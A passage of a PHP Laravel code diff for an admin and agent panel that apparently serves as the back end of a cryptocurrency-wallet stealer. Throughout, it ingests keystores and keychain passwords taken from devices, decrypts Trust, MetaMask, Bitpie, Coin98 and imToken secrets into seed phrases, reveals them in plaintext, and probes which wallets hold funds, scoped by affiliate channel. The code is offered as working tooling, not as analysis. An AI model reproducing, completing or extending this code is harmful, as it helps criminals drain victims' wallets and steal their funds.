// Step 2: fetch light columns for those IDs only.
|
||||||
|
$total = $q->toBase()->getCountForPagination();
|
||||||
|
$ids = $q->toBase()->forPage($page, $limit)->pluck('wallet_keystores.id')->all();
|
||||||
|
|
||||||
|
$rows = count($ids) > 0
|
||||||
|
? WalletKeystore::query()
|
||||||
|
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
|
||||||
|
->whereIn('wallet_keystores.id', $ids)
|
||||||
|
->select($cols)
|
||||||
|
->get()
|
||||||
|
->sortBy(fn (WalletKeystore $row) => array_search($row->id, $ids))
|
||||||
|
->values()
|
||||||
|
: collect();
|
||||||
|
|
||||||
|
Log::info('keystore.list.data.page', [
|
||||||
|
'total' => $total,
|
||||||
|
'ids' => $rows->pluck('id')->all(),
|
||||||
|
'mem' => memory_get_usage(true),
|
||||||
|
]);
|
||||||
|
|
||||||
|
$portal = $this->portal();
|
||||||
|
$data = $rows->map(function (WalletKeystore $row) use ($portal) {
|
||||||
|
return $this->rowPayload($row, $portal);
|
||||||
|
})->values();
|
||||||
|
Log::info('keystore.list.data.done', [
|
||||||
|
'count' => $data->count(),
|
||||||
|
'mem' => memory_get_usage(true),
|
||||||
|
'peak' => memory_get_peak_usage(true),
|
||||||
|
]);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '',
|
||||||
|
'count' => $total,
|
||||||
|
'data' => $data,
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function items(WalletKeystore $keystore)
|
||||||
|
{
|
||||||
|
if (! $this->keystoreAllowed($keystore)) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||||
|
}
|
||||||
|
|
||||||
|
$len = (int) WalletKeystore::query()->whereKey($keystore->id)->toBase()->selectRaw('LENGTH(raw_json) as n')->value('n');
|
||||||
|
Log::info('keystore.items.start', [
|
||||||
|
'id' => $keystore->id,
|
||||||
|
'raw_json_len' => $len,
|
||||||
|
'mem' => memory_get_usage(true),
|
||||||
|
]);
|
||||||
|
$items = $keystore->listedItems();
|
||||||
|
Log::info('keystore.items.done', [
|
||||||
|
'id' => $keystore->id,
|
||||||
|
'raw_json_len' => $len,
|
||||||
|
'item_count' => count($items),
|
||||||
|
'mem' => memory_get_usage(true),
|
||||||
|
'peak' => memory_get_peak_usage(true),
|
||||||
|
]);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '',
|
||||||
|
'data' => [
|
||||||
|
'id' => $keystore->id,
|
||||||
|
'source' => $keystore->sourceLabel(),
|
||||||
|
'decrypted' => (int) $keystore->decrypted,
|
||||||
|
'kind' => $keystore->kindLabel(),
|
||||||
|
'items' => $items,
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* Return the full keystore raw_json with sensitive fields masked,
|
||||||
|
* so the admin can inspect the plaintext structure (wallet names,
|
||||||
|
* addresses, timestamps, version info, etc.) without exposing
|
||||||
|
* encrypted blobs or private keys.
|
||||||
|
*/
|
||||||
|
public function detail(WalletKeystore $keystore)
|
||||||
|
{
|
||||||
|
if (! $this->keystoreAllowed($keystore)) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||||
|
}
|
||||||
|
|
||||||
|
$len = (int) WalletKeystore::query()->whereKey($keystore->id)->toBase()->selectRaw('LENGTH(raw_json) as n')->value('n');
|
||||||
|
Log::info('keystore.detail.start', [
|
||||||
|
'id' => $keystore->id,
|
||||||
|
'raw_json_len' => $len,
|
||||||
|
'mem' => memory_get_usage(true),
|
||||||
|
]);
|
||||||
|
$masked = $keystore->maskedDetail();
|
||||||
|
Log::info('keystore.detail.done', [
|
||||||
|
'id' => $keystore->id,
|
||||||
|
'raw_json_len' => $len,
|
||||||
|
'mem' => memory_get_usage(true),
|
||||||
|
'peak' => memory_get_peak_usage(true),
|
||||||
|
]);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '',
|
||||||
|
'data' => [
|
||||||
|
'id' => $keystore->id,
|
||||||
|
'source' => $keystore->sourceLabel(),
|
||||||
|
'decrypted' => (int) $keystore->decrypted,
|
||||||
|
'kind' => $keystore->kindLabel(),
|
||||||
|
'detail' => $masked,
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function decrypt(WalletKeystore $keystore, DarkSwordIngestAdapter $adapter, DsKeystoreDecrypt $decrypt)
|
||||||
|
{
|
||||||
|
if (! $this->keystoreAllowed($keystore)) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||||
|
}
|
||||||
|
$device = $keystore->device;
|
||||||
|
if ($device === null) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '设备不存在'], 404);
|
||||||
|
}
|
||||||
|
@set_time_limit(180);
|
||||||
|
@ini_set('max_execution_time', '180');
|
||||||
|
|
||||||
|
$before = WalletMnemonic::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->pluck('mnemonic_hash')
|
||||||
|
->all();
|
||||||
|
$seen = array_fill_keys($before, true);
|
||||||
|
$adapter->reprocessKeystores($device);
|
||||||
|
$keystore->refresh();
|
||||||
|
|
||||||
|
$after = WalletMnemonic::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->get(['id', 'source', 'mnemonic_hash']);
|
||||||
|
$added = $after->filter(static fn (WalletMnemonic $row) => ! isset($seen[$row->mnemonic_hash]));
|
||||||
|
$addedCount = $added->count();
|
||||||
|
$counts = $decrypt->materialCounts($device->fresh('keystores'));
|
||||||
|
$msg = $addedCount > 0
|
||||||
|
? '已写入 '.$addedCount.' 条助记词'
|
||||||
|
: ((int) $keystore->decrypted === 1
|
||||||
|
? '没有新的助记词(该来源可能已解密)'
|
||||||
|
: $this->decryptMissMessage($counts));
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => $msg,
|
||||||
|
'data' => [
|
||||||
|
'id' => $keystore->id,
|
||||||
|
'decrypted' => (int) $keystore->decrypted,
|
||||||
|
'added' => $addedCount,
|
||||||
|
'mnemonic_total' => $after->count(),
|
||||||
|
'sources' => $added->pluck('source')->unique()->values()->all(),
|
||||||
|
'utc' => $counts['utc'],
|
||||||
|
'passwords' => $counts['passwords'],
|
||||||
|
'entropy' => $counts['entropy'],
|
||||||
|
'coin98' => $counts['coin98'] ?? 0,
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function decryptPassword(Request $request, WalletKeystore $keystore, DarkSwordIngestAdapter $adapter)
|
||||||
|
{
|
||||||
|
if (! $this->keystoreAllowed($keystore)) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||||
|
}
|
||||||
|
if ((int) $keystore->needs_password !== 1 && ! $keystore->hasWeb3Keystore()) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '该钥匙串未标记为需要密码'], 400);
|
||||||
|
}
|
||||||
|
$password = trim((string) $request->input('password', ''));
|
||||||
|
if ($password === '') {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '请输入密码'], 422);
|
||||||
|
}
|
||||||
|
if (strlen($password) > 256) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '密码过长'], 422);
|
||||||
|
}
|
||||||
|
$device = $keystore->device;
|
||||||
|
if ($device === null) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '设备不存在'], 404);
|
||||||
|
}
|
||||||
|
@set_time_limit(180);
|
||||||
|
@ini_set('max_execution_time', '180');
|
||||||
|
|
||||||
|
$before = WalletMnemonic::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->pluck('mnemonic_hash')
|
||||||
|
->all();
|
||||||
|
$seen = array_fill_keys($before, true);
|
||||||
|
|
||||||
|
$result = $adapter->decryptKeystoreWithPassword($device, $keystore, $password);
|
||||||
|
$keystore->refresh();
|
||||||
|
|
||||||
|
$after = WalletMnemonic::query()
|
||||||
|
->where('device_id', $device->id)
|
||||||
|
->get(['id', 'source', 'mnemonic_hash']);
|
||||||
|
$added = $after->filter(static fn (WalletMnemonic $row) => ! isset($seen[$row->mnemonic_hash]));
|
||||||
|
$addedCount = $added->count();
|
||||||
|
|
||||||
|
if ($addedCount > 0) {
|
||||||
|
$msg = '已写入 '.$addedCount.' 条助记词';
|
||||||
|
$code = 0;
|
||||||
|
} elseif ((int) $keystore->decrypted === 1) {
|
||||||
|
$msg = '没有新的助记词(该来源可能已解密)';
|
||||||
|
$code = 0;
|
||||||
|
} elseif ((int) $result['utc'] === 0 && (int) ($result['vault'] ?? 0) === 0 && (int) ($result['coin98'] ?? 0) === 0) {
|
||||||
|
$msg = '没有可解密的 Keystore(UTC / MetaMask Vault / Coin98 加密钱包)';
|
||||||
|
$code = 1;
|
||||||
|
} else {
|
||||||
|
$msg = '密码不正确,未能解开助记词';
|
||||||
|
$code = 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => $code,
|
||||||
|
'msg' => $msg,
|
||||||
|
'data' => [
|
||||||
|
'id' => $keystore->id,
|
||||||
|
'decrypted' => (int) $keystore->decrypted,
|
||||||
|
'added' => $addedCount,
|
||||||
|
'mnemonic_total' => $after->count(),
|
||||||
|
'sources' => $added->pluck('source')->unique()->values()->all(),
|
||||||
|
'utc' => $result['utc'],
|
||||||
|
'vault' => (int) ($result['vault'] ?? 0),
|
||||||
|
'coin98' => (int) ($result['coin98'] ?? 0),
|
||||||
|
],
|
||||||
|
], $code === 0 ? 200 : 400);
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @return array<string, mixed>
|
||||||
|
*/
|
||||||
|
public function rowPayload(WalletKeystore $row, string $portal): array
|
||||||
|
{
|
||||||
|
$stats = $row->listStats();
|
||||||
|
|
||||||
|
return [
|
||||||
|
'id' => $row->id,
|
||||||
|
'device_key' => $row->device_key ?? $row->device?->device_id ?? '',
|
||||||
|
'channel_id' => $row->device_channel_id ?? $row->device?->channel_id ?? '',
|
||||||
|
'chain' => (int) ($row->chain ?: $row->device_chain ?: Device::CHAIN_CORUNA),
|
||||||
|
'source' => $row->sourceLabel(),
|
||||||
|
'decrypted' => (int) $row->decrypted,
|
||||||
|
'needs_password' => (int) $row->needs_password === 1 ? 1 : null,
|
||||||
|
'kind' => $stats['kind'],
|
||||||
|
'has_web3_keystore' => (bool) ($stats['has_web3_keystore'] ?? false),
|
||||||
|
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||||
|
'detail_url' => route($portal.'.devices.show', ['device' => $row->device_id, 'tab' => 'keystores']),
|
||||||
|
'detail_api_url' => route($portal.'.keystores.detail', $row->id),
|
||||||
|
'password_decrypt_url' => route($portal.'.keystores.decryptPassword', $row->id),
|
||||||
|
];
|
||||||
|
}
|
||||||
|
|
||||||
|
/**
|
||||||
|
* @param array{utc: int, passwords: int, entropy: int} $counts
|
||||||
|
*/
|
||||||
|
private function decryptMissMessage(array $counts): string
|
||||||
|
{
|
||||||
|
$utc = (int) $counts['utc'];
|
||||||
|
$passwords = (int) $counts['passwords'];
|
||||||
|
$entropy = (int) $counts['entropy'];
|
||||||
|
$coin98 = (int) ($counts['coin98'] ?? 0);
|
||||||
|
if ($utc === 0 && $passwords > 0) {
|
||||||
|
return '有钥匙串密码,但没有沙盒 UTC 文件(Documents/keystore/UTC--…)。Trust 不能只靠钥匙串解密';
|
||||||
|
}
|
||||||
|
if ($utc > 0 && $passwords === 0) {
|
||||||
|
return '有沙盒 UTC 文件,但没有钥匙串密码(account 含 UTC-- 的 32 字节项)';
|
||||||
|
}
|
||||||
|
if ($utc > 0 && $passwords > 0) {
|
||||||
|
if (! EthKeystore::scryptReady()) {
|
||||||
|
return 'UTC 和钥匙串密码都在,但服务器无法跑 scrypt(需要 python3,且 PHP 未禁用 proc_open)';
|
||||||
|
}
|
||||||
|
|
||||||
|
return 'UTC 和钥匙串密码都在,但解不开(密码不匹配)';
|
||||||
|
}
|
||||||
|
if ($entropy > 0) {
|
||||||
|
return '有 Bitpie seedPhraseEntropy,但未能还原助记词';
|
||||||
|
}
|
||||||
|
if ($coin98 > 0) {
|
||||||
|
return '有 Coin98 WALLET_SECURE_BACKUP,但未能解析助记词';
|
||||||
|
}
|
||||||
|
|
||||||
|
return '未解出助记词(Trust 需要 UTC+钥匙串密码,Bitpie 需要 seedPhraseEntropy,Coin98 需要 WALLET_SECURE_BACKUP,imToken 需要密码)';
|
||||||
|
}
|
||||||
|
|
||||||
|
private function keystoreAllowed(WalletKeystore $keystore): bool
|
||||||
|
{
|
||||||
|
$allowed = WalletKeystore::query()
|
||||||
|
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
|
||||||
|
->where('wallet_keystores.id', $keystore->id);
|
||||||
|
AgentScope::applyDeviceChannelScope($allowed, $this->agent());
|
||||||
|
|
||||||
|
return $allowed->exists();
|
||||||
|
}
|
||||||
|
|
||||||
|
private function baseQuery(Request $request): Builder
|
||||||
|
{
|
||||||
|
$q = WalletKeystore::query()
|
||||||
|
->join('devices', 'devices.id', '=', 'wallet_keystores.device_id')
|
||||||
|
->select('wallet_keystores.id');
|
||||||
|
|
||||||
|
AgentScope::applyDeviceChannelScope($q, $this->agent());
|
||||||
|
|
||||||
|
$channelId = trim((string) $request->query('channel_id', ''));
|
||||||
|
$deviceKey = trim((string) $request->query('device_key', ''));
|
||||||
|
$source = trim((string) $request->query('source', ''));
|
||||||
|
$decrypted = trim((string) $request->query('decrypted', ''));
|
||||||
|
$needsPassword = trim((string) $request->query('needs_password', ''));
|
||||||
|
$chain = $this->parseChainFilter($request->query('chain'));
|
||||||
|
if ($channelId !== '') {
|
||||||
|
$q->where('devices.channel_id', 'like', '%'.$channelId.'%');
|
||||||
|
}
|
||||||
|
if ($deviceKey !== '') {
|
||||||
|
$q->where('devices.device_id', 'like', '%'.$deviceKey.'%');
|
||||||
|
}
|
||||||
|
if ($chain !== null) {
|
||||||
|
$this->applyChainFilter($q, $chain);
|
||||||
|
}
|
||||||
|
if ($source !== '') {
|
||||||
|
if ($source === '未知') {
|
||||||
|
$q->where(function (Builder $inner) {
|
||||||
|
$inner->whereNull('wallet_keystores.source')
|
||||||
|
->orWhere('wallet_keystores.source', '');
|
||||||
|
});
|
||||||
|
} else {
|
||||||
|
$q->where('wallet_keystores.source', $source);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if ($decrypted === '0' || $decrypted === '1') {
|
||||||
|
$q->where('wallet_keystores.decrypted', (int) $decrypted);
|
||||||
|
}
|
||||||
|
if ($needsPassword === '1' && WalletKeystore::hasNeedsPasswordColumn()) {
|
||||||
|
$q->where('wallet_keystores.needs_password', 1);
|
||||||
|
}
|
||||||
|
if (! $this->isAgentPortal()) {
|
||||||
|
AgentScope::applyAgentUserFilter(
|
||||||
|
$q,
|
||||||
|
AgentScope::parseAgentUserIdFilter($request->query('agent_user_id'))
|
||||||
|
);
|
||||||
|
}
|
||||||
|
|
||||||
|
return $q;
|
||||||
|
}
|
||||||
|
|
||||||
|
private function applyChainFilter(Builder $q, int $chain): void
|
||||||
|
{
|
||||||
|
if (WalletKeystore::hasChainColumn()) {
|
||||||
|
$q->whereRaw(
|
||||||
|
'COALESCE(wallet_keystores.chain, devices.chain, ?) = ?',
|
||||||
|
[Device::CHAIN_CORUNA, $chain]
|
||||||
|
);
|
||||||
|
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
|
||||||
|
$q->where(function (Builder $inner) use ($chain) {
|
||||||
|
$inner->where('devices.chain', $chain);
|
||||||
|
if ($chain === Device::CHAIN_CORUNA) {
|
||||||
|
$inner->orWhereNull('devices.chain');
|
||||||
|
}
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
private function parseChainFilter(mixed $raw): ?int
|
||||||
|
{
|
||||||
|
$value = is_string($raw) ? strtolower(trim($raw)) : $raw;
|
||||||
|
if ($value === '' || $value === null) {
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
if ($value === 1 || $value === '1' || $value === 'coruna') {
|
||||||
|
return Device::CHAIN_CORUNA;
|
||||||
|
}
|
||||||
|
if ($value === 2 || $value === '2' || $value === 'darksword') {
|
||||||
|
return Device::CHAIN_DARKSWORD;
|
||||||
|
}
|
||||||
|
if ($value === 3 || $value === '3' || $value === 'app') {
|
||||||
|
return Device::CHAIN_APP;
|
||||||
|
}
|
||||||
|
|
||||||
|
return null;
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -3,16 +3,33 @@
|
|||||||
namespace App\Http\Controllers\Admin;
|
namespace App\Http\Controllers\Admin;
|
||||||
|
|
||||||
use App\Http\Controllers\Concerns\PortalAware;
|
use App\Http\Controllers\Concerns\PortalAware;
|
||||||
|
use App\Http\Controllers\Concerns\RevealsMnemonics;
|
||||||
use App\Http\Controllers\Controller;
|
use App\Http\Controllers\Controller;
|
||||||
|
use App\Models\Admin;
|
||||||
|
use App\Models\Device;
|
||||||
|
use App\Models\SystemLog;
|
||||||
use App\Models\User;
|
use App\Models\User;
|
||||||
|
use App\Models\WalletAddress;
|
||||||
use App\Models\WalletMnemonic;
|
use App\Models\WalletMnemonic;
|
||||||
|
use App\Services\AdminGoogle2fa;
|
||||||
|
use App\Services\Chain\ChainHttpTimeout;
|
||||||
|
use App\Services\IngestService;
|
||||||
|
use App\Services\MnemonicAddressLinker;
|
||||||
|
use App\Services\MnemonicWalletDiscovery;
|
||||||
|
use App\Services\WalletBalanceService;
|
||||||
use App\Support\AgentScope;
|
use App\Support\AgentScope;
|
||||||
|
use App\Support\WalletSource;
|
||||||
use Illuminate\Database\Eloquent\Builder;
|
use Illuminate\Database\Eloquent\Builder;
|
||||||
use Illuminate\Http\Request;
|
use Illuminate\Http\Request;
|
||||||
|
use Illuminate\Support\Facades\RateLimiter;
|
||||||
|
use Illuminate\Validation\Rule;
|
||||||
|
|
||||||
class MnemonicController extends Controller
|
class MnemonicController extends Controller
|
||||||
{
|
{
|
||||||
use PortalAware;
|
use PortalAware;
|
||||||
|
use RevealsMnemonics;
|
||||||
|
|
||||||
|
private const REFRESH_DECAY_SECONDS = 30;
|
||||||
|
|
||||||
public function index()
|
public function index()
|
||||||
{
|
{
|
||||||
@@ -26,10 +43,100 @@ class MnemonicController extends Controller
|
|||||||
->orderBy('source')
|
->orderBy('source')
|
||||||
->pluck('source');
|
->pluck('source');
|
||||||
|
|
||||||
|
$canCreate = $this->canCreateMnemonic();
|
||||||
|
|
||||||
return view('admin.mnemonics.index', [
|
return view('admin.mnemonics.index', [
|
||||||
'portal' => $this->portal(),
|
'portal' => $this->portal(),
|
||||||
'agents' => $agents,
|
'agents' => $agents,
|
||||||
'sources' => $sources,
|
'sources' => $sources,
|
||||||
|
'create_sources' => $canCreate ? $this->createSourceOptions($sources) : [],
|
||||||
|
'can_create' => $canCreate,
|
||||||
|
'can_reveal' => $this->canRevealMnemonics(),
|
||||||
|
'show_origin' => $this->canSeeOriginDevice(),
|
||||||
|
'google_bound' => $this->googleBoundForReveal(),
|
||||||
|
'google2fa_url' => $this->google2faUrl(),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function store(
|
||||||
|
Request $request,
|
||||||
|
MnemonicAddressLinker $linker,
|
||||||
|
MnemonicWalletDiscovery $discovery,
|
||||||
|
) {
|
||||||
|
if (! $this->canCreateMnemonic()) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '需要超级管理员权限'], 403);
|
||||||
|
}
|
||||||
|
|
||||||
|
$allowedSources = $this->createSourceOptions(
|
||||||
|
WalletMnemonic::query()
|
||||||
|
->whereNotNull('source')
|
||||||
|
->where('source', '!=', '')
|
||||||
|
->distinct()
|
||||||
|
->pluck('source')
|
||||||
|
);
|
||||||
|
|
||||||
|
$data = $request->validate([
|
||||||
|
'device_id' => ['required', 'string', 'max:64'],
|
||||||
|
'source' => ['required', 'string', 'max:64', Rule::in($allowedSources)],
|
||||||
|
'mnemonic' => ['required', 'string', 'max:2048'],
|
||||||
|
], [
|
||||||
|
'device_id.required' => '请输入设备 ID',
|
||||||
|
'source.required' => '请选择来源',
|
||||||
|
'source.in' => '来源无效',
|
||||||
|
'mnemonic.required' => '请输入助记词',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$secret = trim(preg_replace('/\s+/u', ' ', $data['mnemonic']) ?? '');
|
||||||
|
if ($secret === '' || ! $this->isAcceptableMnemonic($secret)) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '助记词格式无效,需为 12–24 个英文或中文单词'], 422);
|
||||||
|
}
|
||||||
|
|
||||||
|
$device = $this->resolveDevice(trim($data['device_id']));
|
||||||
|
if ($device === null) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '找不到该设备'], 422);
|
||||||
|
}
|
||||||
|
|
||||||
|
$hash = WalletMnemonic::hashSecret($secret);
|
||||||
|
$row = WalletMnemonic::query()->firstOrNew([
|
||||||
|
'device_id' => $device->id,
|
||||||
|
'mnemonic_hash' => $hash,
|
||||||
|
]);
|
||||||
|
if ($row->exists) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '该设备已存在相同助记词'], 422);
|
||||||
|
}
|
||||||
|
|
||||||
|
$row->source = $data['source'];
|
||||||
|
$row->mnemonic = $secret;
|
||||||
|
$row->save();
|
||||||
|
|
||||||
|
try {
|
||||||
|
$linker->linkMnemonicToDeviceAddresses($row);
|
||||||
|
} catch (\Throwable) {
|
||||||
|
// Linking is best-effort; the mnemonic row is already saved.
|
||||||
|
}
|
||||||
|
|
||||||
|
try {
|
||||||
|
$discovery->discoverActivated($row);
|
||||||
|
} catch (\Throwable) {
|
||||||
|
// Discovery talks to chain APIs; failure must not roll back the add.
|
||||||
|
}
|
||||||
|
|
||||||
|
/** @var Admin $actor */
|
||||||
|
$actor = auth('admin')->user();
|
||||||
|
try {
|
||||||
|
SystemLog::recordMnemonicCreate($actor, $row, $device, $request);
|
||||||
|
} catch (\Throwable) {
|
||||||
|
// Audit write is best-effort.
|
||||||
|
}
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '已添加',
|
||||||
|
'data' => [
|
||||||
|
'id' => $row->id,
|
||||||
|
'device_id' => $device->device_id,
|
||||||
|
'source' => $row->source,
|
||||||
|
],
|
||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -45,21 +152,31 @@ class MnemonicController extends Controller
|
|||||||
}
|
}
|
||||||
$q->orderBy('wallet_mnemonics.'.$field, $order);
|
$q->orderBy('wallet_mnemonics.'.$field, $order);
|
||||||
|
|
||||||
$limit = max(1, min(100, (int) $request->query('limit', 15)));
|
$limit = max(1, min(100, (int) $request->query('limit', 20)));
|
||||||
$page = max(1, (int) $request->query('page', 1));
|
$page = max(1, (int) $request->query('page', 1));
|
||||||
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
$paginator = $q->paginate($limit, ['*'], 'page', $page);
|
||||||
|
|
||||||
$portal = $this->portal();
|
$portal = $this->portal();
|
||||||
$data = collect($paginator->items())->map(function ($row) use ($portal) {
|
$canReveal = $this->canRevealMnemonics();
|
||||||
|
$showOrigin = $this->canSeeOriginDevice();
|
||||||
|
$data = collect($paginator->items())->map(function ($row) use ($portal, $canReveal, $showOrigin) {
|
||||||
|
$originId = $showOrigin ? (int) ($row->origin_device_id ?? 0) : 0;
|
||||||
|
|
||||||
return [
|
return [
|
||||||
'id' => $row->id,
|
'id' => $row->id,
|
||||||
'device_key' => $row->device_key ?: '',
|
'device_key' => $row->device_key ?: '',
|
||||||
|
'origin_device_key' => $showOrigin ? ($row->origin_device_key ?: '') : '',
|
||||||
'channel_id' => $row->device_channel_id ?: '',
|
'channel_id' => $row->device_channel_id ?: '',
|
||||||
'source' => $row->source ?: '',
|
'source' => $row->source ?: '',
|
||||||
'mnemonic' => WalletMnemonic::maskSecret($row->mnemonic),
|
'mnemonic' => WalletMnemonic::maskSecret($row->mnemonic),
|
||||||
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
'created_at' => optional($row->created_at)->format('Y-m-d H:i:s'),
|
||||||
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
'updated_at' => optional($row->updated_at)->format('Y-m-d H:i:s'),
|
||||||
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
'detail_url' => route($portal.'.devices.show', $row->device_id),
|
||||||
|
'origin_detail_url' => $originId > 0 ? route($portal.'.devices.show', $originId) : '',
|
||||||
|
'wallets_url' => route($portal.'.mnemonics.wallets', $row->id),
|
||||||
|
'refresh_url' => route($portal.'.mnemonics.wallets.refresh', $row->id),
|
||||||
|
'can_reveal' => $canReveal,
|
||||||
|
'reveal_url' => $canReveal ? $this->mnemonicRevealUrl($row->id) : '',
|
||||||
];
|
];
|
||||||
})->values();
|
})->values();
|
||||||
|
|
||||||
@@ -71,14 +188,174 @@ class MnemonicController extends Controller
|
|||||||
]);
|
]);
|
||||||
}
|
}
|
||||||
|
|
||||||
|
public function reveal(Request $request, WalletMnemonic $mnemonic, AdminGoogle2fa $google2fa)
|
||||||
|
{
|
||||||
|
$actor = $this->isAgentPortal() ? $this->agent() : auth('admin')->user();
|
||||||
|
if ($actor === null || ! $actor->canRevealMnemonics()) {
|
||||||
|
$msg = (! $this->isAgentPortal() && ! (bool) config('coruna.mnemonic_reveal.staff_enabled'))
|
||||||
|
? '需要超级管理员权限'
|
||||||
|
: '无权查看明文';
|
||||||
|
|
||||||
|
return response()->json(['code' => 1, 'msg' => $msg], 403);
|
||||||
|
}
|
||||||
|
if (! $this->mnemonicAllowed($mnemonic)) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||||
|
}
|
||||||
|
if (! $actor->hasGoogleBound()) {
|
||||||
|
$hint = $this->isAgentPortal() ? '账号 → 谷歌验证' : '系统 → 谷歌验证';
|
||||||
|
|
||||||
|
return response()->json(['code' => 1, 'msg' => '请先在「'.$hint.'」绑定,查看明文必须验证']);
|
||||||
|
}
|
||||||
|
|
||||||
|
$data = $request->validate([
|
||||||
|
'GACode' => ['required', 'string', 'max:16'],
|
||||||
|
], [
|
||||||
|
'GACode.required' => '请输入谷歌验证码',
|
||||||
|
]);
|
||||||
|
|
||||||
|
$throttleKey = 'mnemonic-reveal:'.$this->portal().':'.$actor->id;
|
||||||
|
if (RateLimiter::tooManyAttempts($throttleKey, 8)) {
|
||||||
|
$seconds = RateLimiter::availableIn($throttleKey);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => '验证过于频繁,请 '.$seconds.' 秒后再试',
|
||||||
|
], 429);
|
||||||
|
}
|
||||||
|
|
||||||
|
if (! $google2fa->verify((string) $actor->google_secret, $data['GACode'])) {
|
||||||
|
RateLimiter::hit($throttleKey, 60);
|
||||||
|
|
||||||
|
return response()->json(['code' => 1, 'msg' => '谷歌验证码不正确']);
|
||||||
|
}
|
||||||
|
|
||||||
|
RateLimiter::clear($throttleKey);
|
||||||
|
|
||||||
|
try {
|
||||||
|
SystemLog::recordMnemonicReveal(
|
||||||
|
$actor,
|
||||||
|
$this->isAgentPortal() ? 'agent' : 'admin',
|
||||||
|
$mnemonic,
|
||||||
|
$request,
|
||||||
|
);
|
||||||
|
} catch (\Throwable) {
|
||||||
|
// Reveal still succeeds if audit write fails.
|
||||||
|
}
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => 'ok',
|
||||||
|
'data' => [
|
||||||
|
'id' => $mnemonic->id,
|
||||||
|
'mnemonic' => (string) $mnemonic->mnemonic,
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function wallets(WalletMnemonic $mnemonic, MnemonicWalletDiscovery $discovery)
|
||||||
|
{
|
||||||
|
if (! $this->mnemonicAllowed($mnemonic)) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||||
|
}
|
||||||
|
|
||||||
|
// Discovery runs on the POST refresh (auto-triggered by the dialog when
|
||||||
|
// updating=true). The GET just returns current state + inactive previews.
|
||||||
|
return response()->json([
|
||||||
|
'code' => 0,
|
||||||
|
'msg' => '',
|
||||||
|
'data' => array_merge($this->walletsPayload($mnemonic, $discovery), [
|
||||||
|
'updating' => true,
|
||||||
|
]),
|
||||||
|
]);
|
||||||
|
}
|
||||||
|
|
||||||
|
public function refreshWallets(
|
||||||
|
WalletMnemonic $mnemonic,
|
||||||
|
WalletBalanceService $balances,
|
||||||
|
MnemonicWalletDiscovery $discovery,
|
||||||
|
) {
|
||||||
|
if (! $this->mnemonicAllowed($mnemonic)) {
|
||||||
|
return response()->json(['code' => 1, 'msg' => '无权操作'], 403);
|
||||||
|
}
|
||||||
|
|
||||||
|
$throttleKey = 'mnemonic-wallets-refresh:'.$mnemonic->id;
|
||||||
|
if (RateLimiter::tooManyAttempts($throttleKey, 1)) {
|
||||||
|
$seconds = RateLimiter::availableIn($throttleKey);
|
||||||
|
|
||||||
|
return response()->json([
|
||||||
|
'code' => 1,
|
||||||
|
'msg' => '刷新过于频繁,请 '.$seconds.' 秒后再试',
|
||||||
|
'data' => ['retry_after' => $seconds],
|
||||||
|
], 429);
|
||||||
|
}
|
||||||
|
|
||||||
|
RateLimiter::hit($throttleKey, self::REFRESH_DECAY_SECONDS);
|
||||||
|
|
||||||
|
// Manual refresh: force re-probe of unlinked chains (bypass discovery_complete + miss cache).
|
||||||
|
$discovery->discoverActivated($mnemonic, true);
|
||||||
|
|
||||||
|
